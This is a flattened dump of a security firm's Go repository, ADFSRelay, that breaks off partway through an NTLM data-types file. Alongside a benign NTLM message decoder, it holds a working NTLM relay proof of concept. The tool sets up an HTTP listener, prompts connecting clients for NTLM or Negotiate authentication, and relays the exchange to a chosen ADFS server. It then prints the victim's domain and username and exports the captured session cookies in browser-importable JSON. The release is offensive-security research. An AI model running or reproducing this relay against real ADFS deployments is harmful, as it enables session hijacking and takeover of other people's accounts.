Full Code of praetorian-inc/ADFSRelay for AI

main 1786138e68c2 cached
15 files
84.6 KB
34.7k tokens
66 symbols
1 requests
Download .txt
Repository: praetorian-inc/ADFSRelay
Branch: main
Commit: 1786138e68c2
Files: 15
Total size: 84.6 KB

Directory structure:
gitextract_wftfh0c1/

├── .github/
│   └── workflows/
│       └── release.yml
├── .gitignore
├── LICENSE
├── README.md
├── cmd/
│   ├── ADFSRelay/
│   │   └── ADFSRelay.go
│   └── NTLMParse/
│       └── NTLMParse.go
├── go.mod
├── go.sum
└── pkg/
    ├── cookies/
    │   ├── datatypes.go
    │   └── export.go
    └── ntlm/
        ├── datatypes.go
        ├── debug.go
        ├── decoder.go
        ├── ntlm.go
        └── ntlm_test.go

================================================
FILE CONTENTS
================================================

================================================
FILE: .github/workflows/release.yml
================================================
# Copyright 2022 Praetorian Security, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

on:
  push:
    # Sequence of patterns matched against refs/tags
    tags:
    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2

    - name: Setup Go Build Environment
      uses: actions/setup-go@v2
      with:
        go-version: '1.18.3'

    - name: Install dependencies
      run: go mod download

    - name: Build ADFSRelay
      run: go build ./cmd/ADFSRelay

    - name: Build NTLMParse
      run: go build ./cmd/NTLMParse

    - name: Create Release
      uses: softprops/action-gh-release@v1
      with:
        files: |
          ADFSRelay
          NTLMParse
      env:
        GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}


================================================
FILE: .gitignore
================================================
**/.DS_Store


================================================
FILE: LICENSE
================================================
                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.


================================================
FILE: README.md
================================================
# Overview 

This repository includes two utilities NTLMParse and ADFSRelay. NTLMParse is a utility for decoding base64-encoded NTLM messages and printing information about the underlying properties and fields within the message. Examining these NTLM messages is helpful when researching the behavior of a particular NTLM implementation. ADFSRelay is a proof of concept utility developed while researching the feasibility of NTLM relaying attacks targeting the ADFS service. This utility can be leveraged to perform NTLM relaying attacks targeting ADFS. We have also released a blog post discussing ADFS relaying attacks in more detail [1].

# NTLMParse Usage

To use the NTLMParse utility you simply need to pass a Base64 encoded message to the application and it will decode the relevant fields and structures within the message. The snippet given below shows the expected output of NTLMParse when it is invoked:

```
➜  ~ pbpaste | NTLMParse
(ntlm.AUTHENTICATE_MESSAGE) {
 Signature: ([]uint8) (len=8 cap=585) {
  00000000  4e 54 4c 4d 53 53 50 00                           |NTLMSSP.|
 },
 MessageType: (uint32) 3,
 LmChallengeResponseFields: (struct { LmChallengeResponseLen uint16; LmChallengeResponseMaxLen uint16; LmChallengeResponseBufferOffset uint32; LmChallengeResponse []uint8 }) {
  LmChallengeResponseLen: (uint16) 24,
  LmChallengeResponseMaxLen: (uint16) 24,
  LmChallengeResponseBufferOffset: (uint32) 160,
  LmChallengeResponse: ([]uint8) (len=24 cap=425) {
   00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
   00000010  00 00 00 00 00 00 00 00                           |........|
  }
 },
 NtChallengeResponseFields: (struct { NtChallengeResponseLen uint16; NtChallengeResponseMaxLen uint16; NtChallengeResponseBufferOffset uint32; NtChallengeResponse []uint8; NTLMv2Response ntlm.NTLMv2_RESPONSE }) {
  NtChallengeResponseLen: (uint16) 384,
  NtChallengeResponseMaxLen: (uint16) 384,
  NtChallengeResponseBufferOffset: (uint32) 184,
  NtChallengeResponse: ([]uint8) (len=384 cap=401) {
   00000000  30 eb 30 1f ab 4f 37 4d  79 59 28 73 38 51 19 3b  |0.0..O7MyY(s8Q.;|
   00000010  01 01 00 00 00 00 00 00  89 5f 6d 5c c8 72 d8 01  |........._m\.r..|
   00000020  c9 74 65 45 b9 dd f7 35  00 00 00 00 02 00 0e 00  |.teE...5........|
   00000030  43 00 4f 00 4e 00 54 00  4f 00 53 00 4f 00 01 00  |C.O.N.T.O.S.O...|
   00000040  1e 00 57 00 49 00 4e 00  2d 00 46 00 43 00 47 00  |..W.I.N.-.F.C.G.|
```

Below is a sample NTLM AUTHENTICATE_MESSAGE message that can be used for testing:

`
TlRMTVNTUAADAAAAGAAYAKAAAACAAYABuAAAABoAGgBYAAAAEAAQAHIAAAAeAB4AggAAABAAEAA4AgAAFYKI4goAYUoAAAAPqfU7N7/JSXVfIdKvlIvcQkMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwAQQBDAHIAbwBzAHMAZQByAEQARQBTAEsAVABPAFAALQBOAEkARAA0ADQANQBNAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDrMB+rTzdNeVkoczhRGTsBAQAAAAAAAIlfbVzIctgByXRlRbnd9zUAAAAAAgAOAEMATwBOAFQATwBTAE8AAQAeAFcASQBOAC0ARgBDAEcAVQA0AEcASABPADAAOAA0AAQAGgBDAE8ATgBUAE8AUwBPAC4ATABPAEMAQQBMAAMAOgBXAEkATgAtAEYAQwBHAFUANABHAEgATwAwADgANAAuAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABQAaAEMATwBOAFQATwBTAE8ALgBMAE8AQwBBAEwABwAIAIlfbVzIctgBBgAEAAIAAAAIADAAMAAAAAAAAAABAAAAACAAABQaOHb4nG5F2JL1tA5kL+nKQXJSJLDWljeBv+/XlPXpCgAQAON+EDXYnla0bjpwA8gfVEgJAD4ASABUAFQAUAAvAHMAdABzAC4AYwBvAG4AdABvAHMAbwBjAG8AcgBwAG8AcgBhAHQAaQBvAG4ALgBjAG8AbQAAAAAAAAAAAKDXom0m65knt1NeZF1ZxxQ=
`

# ADFSRelay Usage

The single required argument for ADFSRelay is the URL of the ADFS server to target for an NTLM relaying attack. Three optional arguments are -debug to enable debugging mode, -port to define the port the service should listen on, and -help to display the help menu. An example help menu is given below:

```
➜  ~ ADFSRelay -h
Usage of ADFSRelay:
  -debug
    	Enables debug output
  -help
    	Show the help menu
  -port int
    	The port the HTTP listener should listen on (default 8080)
  -targetSite string
    	The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)
➜  ~
```

# References
[1] https://www.praetorian.com/blog/relaying-to-adfs-attacks/


================================================
FILE: cmd/ADFSRelay/ADFSRelay.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
	"encoding/base64"
	"encoding/json"
	"flag"
	"fmt"
	"net/http"
	"net/url"
	"os"
	"strings"

	"github.com/davecgh/go-spew/spew"
	"github.com/google/uuid"
	"github.com/praetorian-in/ADFSRelay/pkg/cookies"
	"github.com/praetorian-in/ADFSRelay/pkg/ntlm"
)

var (
	targetSite string
	debug      bool
)

func ADFSRelayStateHandler(w http.ResponseWriter, r *http.Request) {

	clientRequestID := r.URL.Query().Get("client-request-id")

	MSISSamlRequest := ""
	for _, cookie := range r.Cookies() {
		if cookie.Name == "MSISSamlRequest" {
			MSISSamlRequest = cookie.Value
		}
	}

	if clientRequestID == "" {
		if MSISSamlRequest == "" {
			clientRequestID = uuid.New().String()

			MSISamlRequest, err := GetMSISAMLRequestCookie(clientRequestID)
			if err != nil {
				fmt.Printf("Error handling initial client request: %v\n", err)
				return
			}

			cookie := http.Cookie{Name: "MSISSamlRequest", Value: MSISamlRequest}
			http.SetCookie(w, &cookie)

			http.Redirect(w, r, "/?client-request-id="+url.QueryEscape(clientRequestID), http.StatusMovedPermanently)
			return
		}
	}

	authorizationHeaderValue, ok := r.Header["Authorization"]
	if !ok {
		w.Header().Add("WWW-Authenticate", "Negotiate")
		w.Header().Add("WWW-Authenticate", "NTLM")
		w.WriteHeader(http.StatusUnauthorized)
		return
	}

	authenticateHeaderValue := strings.Split(authorizationHeaderValue[0], " ")
	if len(authenticateHeaderValue) != 2 {
		fmt.Print("Error Authorization header should have two values separated by a space")
		return
	}

	if authenticateHeaderValue[0] != "Negotiate" && authenticateHeaderValue[0] != "NTLM" {
		fmt.Printf("Error Authorization header should begin with either NTLM or Negotiate")
		return
	}

	encodedMessage := authenticateHeaderValue[1]
	decodedString, err := base64.StdEncoding.DecodeString(encodedMessage)
	if err != nil {
		fmt.Println("Unable to decode base64 string, err: ", err)
		return
	}

	rawBytes := []byte(decodedString)
	ntlmMessage, err := ntlm.DecodeMessage(rawBytes)
	if err != nil {
		fmt.Println("Input is not a valid NTLM message, err: ", err)
		return
	}

	switch v := ntlmMessage.(type) {
	case *ntlm.NEGOTIATE_MESSAGE:

		if debug {
			spew.Dump(*v)
		}

		encodedChallengeMessage, err := SendNegotiateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0])
		if err != nil {
			fmt.Println("Error getting challenge message from ADFS server, err: ", err)
			return
		}

		wwwAuthenticateValues := strings.Split(encodedChallengeMessage, " ")
		if len(wwwAuthenticateValues) != 2 {
			fmt.Println("Error Www-Authenticate header should have two values separated by a space")
			return
		}

		decodedString, err := base64.StdEncoding.DecodeString(wwwAuthenticateValues[1])
		if err != nil {
			fmt.Println("Unable to decode base64 string, err: ", err)
			return
		}

		rawBytes := []byte(decodedString)
		challengeMessage, err := ntlm.DecodeMessage(rawBytes)
		if err != nil {
			fmt.Println("Input is not a valid NTLM message, err: ", err)
			return
		}

		fmt.Println("Got challenge message from the ADFS server, forwarding to the client")

		if debug {
			spew.Dump(challengeMessage)
		}

		w.Header().Add("WWW-Authenticate", encodedChallengeMessage)
		w.WriteHeader(http.StatusUnauthorized)

	case *ntlm.AUTHENTICATE_MESSAGE:

		if debug {
			spew.Dump(*v)
		}

		fmt.Println("Got an authenticate message from the client, forwarding to the ADFS server")
		returnedCookies, err := SendAuthenticateMessagetoADFS(clientRequestID, MSISSamlRequest, authorizationHeaderValue[0])
		if err != nil {
			fmt.Println("error authenticating to ADFS server, err: ", err)
		}

		for _, avPairs := range v.NtChallengeResponseFields.NTLMv2Response.ClientChallenge.AvPairs {
			if avPairs.AvId == ntlm.MsvChannelBindings {
				fmt.Println("Client included a channel binding token in the AUTHENTICATE_MESSAGE")
			}
		}

		exportedCookies := cookies.ExportCookiesToCookieEditorFormat(returnedCookies)
		jsonData, err := json.Marshal(exportedCookies)
		if err != nil {
			fmt.Println("error marshalling cookies, err: ", err)
		}

		username := string(v.UserNameFields.UserName)
		domain := string(v.DomainNameFields.DomainName)

		fmt.Printf("Successfully authenticated to ADFS as user: %s\\%s\n", domain, username)
		fmt.Println("Session Cookies:", string(jsonData))
	}
}

func SendNegotiateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) (string, error) {
	httpClient := http.Client{}

	apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID)
	req, err := http.NewRequest("GET", apiUrl, nil)
	if err != nil {
		return "", fmt.Errorf("error creating ADFS POST request: %v", err)
	}
	req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)")

	cookie := &http.Cookie{
		Name:  "MSISSamlRequest",
		Value: MSISSamlRequest,
	}
	req.AddCookie(cookie)

	req.Header.Add("Authorization", headerVal)
	r, err := httpClient.Do(req)
	if err != nil {
		return "", fmt.Errorf("error sending ADFS POST request: %v", err)
	}

	encodedChallengeMessage, ok := r.Header["Www-Authenticate"]
	if !ok {
		return "", fmt.Errorf("missing required Www-Authenticate header")
	}

	if debug {
		fmt.Printf("Www-Authenticate header is present with value %s\n", encodedChallengeMessage[0])
	}

	split := strings.Split(encodedChallengeMessage[0], " ")
	if len(split) != 2 {
		return "", fmt.Errorf("error Www-Authenticate header should have two values separated by a space")
	}

	if split[0] != "Negotiate" && split[0] != "NTLM" {
		return "", fmt.Errorf("error Www-Authenticate header begin with either NTLM or Negotiate")
	}

	return encodedChallengeMessage[0], nil
}

func SendAuthenticateMessagetoADFS(clientRequestID string, MSISSamlRequest string, headerVal string) ([]*http.Cookie, error) {
	httpClient := http.Client{
		CheckRedirect: func(req *http.Request, via []*http.Request) error {
			return http.ErrUseLastResponse
		},
	}

	apiUrl := targetSite + "/adfs/ls/wia?client-request-id=" + url.QueryEscape(clientRequestID)
	req, err := http.NewRequest("GET", apiUrl, nil)
	if err != nil {
		return nil, fmt.Errorf("error creating request: %v", err)
	}

	req.Header.Set("User-Agent", "Mozilla/5.0 (MSIE 10.0; Windows NT 6.1; Trident/5.0)")

	cookie := &http.Cookie{
		Name:  "MSISSamlRequest",
		Value: MSISSamlRequest,
	}
	req.AddCookie(cookie)

	req.Header.Add("Authorization", headerVal)
	r, err := httpClient.Do(req)
	if err != nil {
		return nil, fmt.Errorf("error sending request: %v", err)

	}

	if r.StatusCode == 401 {
		return nil, fmt.Errorf("server returned 401 either the credentials are invalid or EPA is blocking authentication")
	}

	return r.Cookies(), nil
}

func GetMSISAMLRequestCookie(clientRequestID string) (string, error) {
	httpClient := http.Client{}

	form := url.Values{}
	form.Add("SignInIdpSite", "SignInIdpSite")
	form.Add("SignInSubmit", "Sign+in")
	form.Add("SingleSignOut", "SingleSignOut")

	apiUrl := targetSite + "/adfs/ls/idpinitiatedsignon.aspx?client-request-id=" + url.QueryEscape(clientRequestID)
	req, err := http.NewRequest("POST", apiUrl, strings.NewReader(form.Encode()))
	req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
	if err != nil {
		return "", fmt.Errorf("error creating request: %v", err)
	}

	r, err := httpClient.Do(req)
	if err != nil {
		return "", fmt.Errorf("error sending request: %v", err)
	}

	MSISSamlRequest := ""
	for _, cookie := range r.Cookies() {
		if cookie.Name == "MSISSamlRequest" {
			MSISSamlRequest = cookie.Value
		}
	}

	if MSISSamlRequest == "" {
		return "", fmt.Errorf("expected MSISAMLRequest cookie from the server")
	}

	return MSISSamlRequest, nil
}

func main() {
	var err error

	var debugFlag bool
	var listenPortFlag int
	var targetSiteFlag string

	helpFlag := flag.Bool("help", false, "Show the help menu")

	flag.IntVar(&listenPortFlag, "port", 8080, "The port the HTTP listener should listen on")
	flag.StringVar(&targetSiteFlag, "targetSite", "", "The ADFS site to target for the relaying attack (e.g. https://sts.contoso.com)")
	flag.BoolVar(&debugFlag, "debug", false, "Enables debug output")

	if *helpFlag {
		flag.Usage()
		os.Exit(0)
	}

	flag.Parse()

	if *helpFlag {
		flag.Usage()
		return
	}

	if targetSiteFlag == "" {
		fmt.Println("The -targetSite parameter is required")
		flag.Usage()
		return
	}

	if listenPortFlag < 0 || listenPortFlag > 65535 {
		fmt.Println("Invalid listener port flag specified")
		return
	}

	listenPort := fmt.Sprintf(":%d", listenPortFlag)
	_, err = url.Parse(targetSiteFlag)
	if err != nil {
		fmt.Println("Invalid target site URL: ", err)
	}

	fmt.Println("Starting ADFS relaying targeting:", targetSiteFlag)

	targetSite = targetSiteFlag
	debug = debugFlag

	if debug {
		fmt.Println("Debug mode enabled")
	}

	http.HandleFunc("/", ADFSRelayStateHandler)
	err = http.ListenAndServe(listenPort, nil)
	if err != nil {
		fmt.Printf("error trying to listen on HTTP on port: %s, err: %v", listenPort, err)
		return
	}
}


================================================
FILE: cmd/NTLMParse/NTLMParse.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package main

import (
	"encoding/base64"
	"fmt"

	"github.com/davecgh/go-spew/spew"
	"github.com/praetorian-in/ADFSRelay/pkg/ntlm"
)

func main() {
	var input string
	fmt.Scanln(&input)

	decodedString, err := base64.StdEncoding.DecodeString(input)
	if err != nil {
		fmt.Println("Unable to decode base64 string, err: ", err)
		return
	}

	rawBytes := []byte(decodedString)
	ntlmMessage, err := ntlm.DecodeMessage(rawBytes)
	if err != nil {
		fmt.Println("Input is not a valid NTLM message, err: ", err)
		return
	}

	switch v := ntlmMessage.(type) {
	case *ntlm.NEGOTIATE_MESSAGE:
		spew.Dump(*v)
	case *ntlm.CHALLENGE_MESSAGE:
		spew.Dump(*v)
	case *ntlm.AUTHENTICATE_MESSAGE:
		spew.Dump(*v)
	}
}


================================================
FILE: go.mod
================================================
module github.com/praetorian-in/ADFSRelay

go 1.17

require (
	github.com/davecgh/go-spew v1.1.1
	github.com/google/uuid v1.3.0
)


================================================
FILE: go.sum
================================================
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/google/uuid v1.3.0 h1:t6JiXgmwXMjEs8VusXIJk2BXHsn+wx8BZdTaoZ5fu7I=
github.com/google/uuid v1.3.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=


================================================
FILE: pkg/cookies/datatypes.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package cookies

type CookieEditorExportFormat struct {
	Name             string      `json:"name"`
	Value            string      `json:"value"`
	Domain           string      `json:"domain"`
	HostOnly         bool        `json:"hostOnly"`
	Path             string      `json:"path"`
	Secure           bool        `json:"secure"`
	HTTPOnly         bool        `json:"httpOnly"`
	SameSite         string      `json:"sameSite"`
	Session          bool        `json:"session"`
	FirstPartyDomain string      `json:"firstPartyDomain"`
	PartitionKey     interface{} `json:"partitionKey"`
	StoreID          interface{} `json:"storeId"`
}


================================================
FILE: pkg/cookies/export.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package cookies

import "net/http"

func ExportCookiesToCookieEditorFormat(cookies []*http.Cookie) []CookieEditorExportFormat {
	var cookieEditorExportFormat []CookieEditorExportFormat

	for _, cookie := range cookies {
		cookieEditorExportFormat = append(cookieEditorExportFormat, CookieEditorExportFormat{
			Name:             cookie.Name,
			Value:            cookie.Value,
			Domain:           cookie.Domain,
			HostOnly:         false,
			Path:             cookie.Path,
			Secure:           cookie.Secure,
			HTTPOnly:         cookie.HttpOnly,
			SameSite:         "no_restriction",
			Session:          true,
			FirstPartyDomain: "",
			PartitionKey:     nil,
			StoreID:          nil,
		})
	}

	return cookieEditorExportFormat
}


================================================
FILE: pkg/ntlm/datatypes.go
================================================
// Copyright 2022 Praetorian Security, Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
//      http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.

package ntlm

const (

	// NTLM message size minimum sizes
	NTLM_MINIMUM_HEADER_SIZE       = 12
	NTLM_MINIMUM_NEGOTIATE_SIZE    = 32
	NTLM_MINIMUM_CHALLENGE_SIZE    = 48
	NTLM_MINIMUM_AUTHENTICATE_SIZE = 64

	// NTLM Message Types
	MESSAGE_TYPE_NEGOTIATE    = 0x1
	MESSAGE_TYPE_CHALLENGE    = 0x2
	MESSAGE_TYPE_AUTHENTICATE = 0x3

	// NTLM Valid AvId Values
	MsvAvEOL             = 0x0000
	MsvAvNbComputerName  = 0x0001
	MsvAvNbDomainName    = 0x0002
	MsvAvDnsComputerName = 0x0003
	MsvAvDnsDomainName   = 0x0004
	MsvAvDnsTreeName     = 0x0005
	MsvAvFlags           = 0x0006
	MsvAvTimestamp       = 0x0007
	MsvAvSingleHost      = 0x0008
	MsvAvTargetName      = 0x0009
	MsvChannelBindings   = 0x000A

	// MsvAvFlags Values
	AccountAuthenticationConstrained = 0x00000001
	MessageIntegrityCodeIncluded     = 0x00000002
	ServicePrincipalNameIncluded     = 0x00000004
)

var (
	NTLM_SIGNATURE = [8]byte{0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00}
)

type NEGOTIATE_MESSAGE struct {
	Signature             []byte
	MessageType           uint32
	NegotiateFlags        uint32
	DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
	DomainNameFields      struct {
		DomainNameLen          uint16
		DomainNameMaxLen       uint16
		DomainNameBufferOffset uint32
		DomainName             []byte
	}
	WorkstationFields struct {
		WorkstationLen          uint16
		WorkstationMaxLen       uint16
		WorkstationBufferOffset uint32
		WorkstationName         []byte
	}
	Version NTLM_VERSION_INFO_DEBUG
}

type CHALLENGE_MESSAGE struct {
	Signature        []byte
	MessageType      uint32
	TargetNameFields struct {
		TargetNameLen          uint16
		TargetNameMaxLen       uint16
		TargetNameBufferOffset uint32
		TargetName             []byte
	}
	NegotiateFlags        uint32
	DecodedNegotiateFlags DECODED_NEGOTIATE_FLAGS
	ServerChallenge       []byte
	Reserved              []byte
	TargetInfoFields      struct {
		TargetInfoLen          uint16
		TargetInfoMaxLen       uint16
		TargetInfoBufferOffset uint32
		TargetInfo             []byte
	}
	DecodedTargetInfo DECODED_TARGET_INFO
	Version           NTLM_VERSION_INFO_DEBUG
}

type AUTHENTICATE_MESSAGE struct {
	Signature                 []byte
	MessageType               uint32
	LmChallengeResponseFields struct {
		LmChallengeResponseLen          uint16
		LmChallengeResponseMaxLen       uint16
		LmChallengeResponseBufferOffset uint32
		LmChallengeResponse             []byte
	}
